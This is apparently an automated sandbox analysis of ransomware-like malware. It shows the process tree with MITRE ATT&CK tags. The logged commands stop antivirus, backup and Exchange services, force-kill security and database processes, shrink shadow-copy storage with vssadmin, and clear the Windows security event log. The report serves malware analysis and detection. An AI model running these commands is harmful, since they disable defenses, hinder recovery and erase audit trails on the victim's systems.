  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop TmWSCSvc /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:2004
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop TMResponse /y"
  2⤵
  - Executes a command shell one-liner
  PID:4636
- - C:\Windows\SysWOW64\net.exe
    net stop TMResponse /y
    3⤵
    PID:3200
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop TMResponse /y
      4⤵
      PID:5032
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop Tmccst /y"
  2⤵
  - Executes a command shell one-liner
  PID:2380
- - C:\Windows\SysWOW64\net.exe
    net stop Tmccst /y
    3⤵
    PID:1168
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop Tmccst /y
      4⤵
      PID:4052
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im calc.exe"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:5008
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im calc.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1476
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop iVPAgent /y"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:3020
- - C:\Windows\SysWOW64\net.exe
    net stop iVPAgent /y
    3⤵
    PID:4416
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop iVPAgent /y
      4⤵
      PID:4068
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop Vss Sophos /y"
  2⤵
  PID:2232
- - C:\Windows\SysWOW64\net.exe
    net stop Vss Sophos /y
    3⤵
    PID:1716
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop Vss Sophos /y
      4⤵
      PID:4880
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop Mepo /y"
  2⤵
  - Executes a command shell one-liner
  PID:4144
- - C:\Windows\SysWOW64\net.exe
    net stop Mepo /y
    3⤵
    PID:1960
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop Mepo /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:3740
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop TMBMServer /y"
  2⤵
  PID:4176
- - C:\Windows\SysWOW64\net.exe
    net stop TMBMServer /y
    3⤵
    PID:1488
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop TMBMServer /y
      4⤵
      PID:2720
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop Web Service Communicator /y"
  2⤵
  PID:3888
- - C:\Windows\SysWOW64\net.exe
    net stop Web Service Communicator /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4120
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop Web Service Communicator /y
      4⤵
      PID:5000
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop Svc$ /y"
  2⤵
  PID:3472
- - C:\Windows\SysWOW64\net.exe
    net stop Svc$ /y
    3⤵
    PID:3796
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop Svc$ /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:3800
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop GxBlr /y"
  2⤵
  - Executes a command shell one-liner
  PID:4432
- - C:\Windows\SysWOW64\net.exe
    net stop GxBlr /y
    3⤵
    PID:4124
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop GxBlr /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:3296
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop Msexchange /y"
  2⤵
  - Executes a command shell one-liner
  PID:1916
- - C:\Windows\SysWOW64\net.exe
    net stop Msexchange /y
    3⤵
    PID:3632
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop Msexchange /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:5092
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=H: /on=C: /maxsize=401MB"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2236
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop Tmlisten /y"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:864
- - C:\Windows\SysWOW64\net.exe
    net stop Tmlisten /y
    3⤵
    PID:1740
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop Tmlisten /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:4868
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop GxVss /y"
  2⤵
  PID:2936
- - C:\Windows\SysWOW64\net.exe
    net stop GxVss /y
    3⤵
    PID:1396
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop GxVss /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:1280
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im iVPAgent.exe"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:1016
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im iVPAgent.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5084
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im notepad.exe"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4684
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im notepad.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1956
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im tmwscsvc.exe"
  2⤵
  PID:3292
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im tmwscsvc.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1332
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im CETASvc.exe"
  2⤵
  - Executes a command shell one-liner
  PID:4960
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im CETASvc.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3776
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im vastsvc.exe"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:1196
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im vastsvc.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4876
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im PccNTMon.exe"
  2⤵
  - Executes a command shell one-liner
  PID:4576
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im PccNTMon.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3596
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im avgsvc.exe"
  2⤵
  - Executes a command shell one-liner
  PID:2084
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im avgsvc.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3036
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im NortonSecurity.exe"
  2⤵
  - Executes a command shell one-liner
  PID:4600
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im NortonSecurity.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1140
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im Sql.exe"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4252
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Sql.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4740
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im KasperskyService.exe"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:2488
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im KasperskyService.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4220
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im Ocomm.exe"
  2⤵
  - Executes a command shell one-liner
  PID:4324
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Ocomm.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4840
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im McAfeeFramework.exe"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:1512
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im McAfeeFramework.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:644
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im Tbirdconfig.exe"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:364
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Tbirdconfig.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4128
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im Oracle.exe"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:2264
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Oracle.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1496
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im Dbnmp.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1328
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Dbnmp.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2176
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im Mydesktopqos.exe"
  2⤵
  PID:2136
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Mydesktopqos.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2712
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im Dbeng50.exe"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:1124
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Dbeng50.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4364
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im Ocssd.exe"
  2⤵
  - Executes a command shell one-liner
  PID:2776
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Ocssd.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1696
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im Synctime.exe"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:2420
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Synctime.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1156
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=K: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  PID:3744
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "wevtutil cl securit"
  2⤵
  - Executes a command shell one-liner
  PID:2620
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil cl securit
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1760
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=X: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4500
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  PID:2656
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=F: /on=C: /maxsize=401MB"
  2⤵
  PID:3168
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop Ntrtscan /y"
  2⤵
  - Executes a command shell one-liner
  PID:4060
- - C:\Windows\SysWOW64\net.exe
    net stop Ntrtscan /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1676
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop Ntrtscan /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:2692
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop Backup /y"
  2⤵
  - Executes a command shell one-liner
  PID:3412
- - C:\Windows\SysWOW64\net.exe
    net stop Backup /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4852
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop Backup /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:4076
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop Memtas /y"
  2⤵
  - Executes a command shell one-liner
  PID:4068
- - C:\Windows\SysWOW64\net.exe
    net stop Memtas /y
    3⤵
    PID:4444
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop Memtas /y
      4⤵
      PID:3016
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im AOTAgent.exe"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:868
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im AOTAgent.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2200
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im powerpnt.exe"
  2⤵
  PID:2180
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im powerpnt.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2980
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im ResponseService.exe"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:2720
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im ResponseService.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3468
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im SophosSAU.exe"
  2⤵
  PID:844
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SophosSAU.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1280
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im SupportConnector.exe"
  2⤵
  - Executes a command shell one-liner
  PID:5036
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SupportConnector.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3772

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads